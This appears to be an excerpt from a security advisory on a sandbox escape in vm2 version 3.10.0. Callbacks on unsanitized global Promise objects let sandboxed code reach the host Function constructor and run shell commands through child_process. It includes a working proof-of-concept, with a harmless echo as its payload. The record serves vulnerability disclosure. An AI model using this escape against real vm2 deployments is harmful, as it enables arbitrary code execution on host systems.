    "summary": "vm2 has a Sandbox Escape\nIn vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\nconst Error = e.constructor;\nconst Function = Error.constructor;\nconst f = new Function(\n\"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n);\nf();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.",
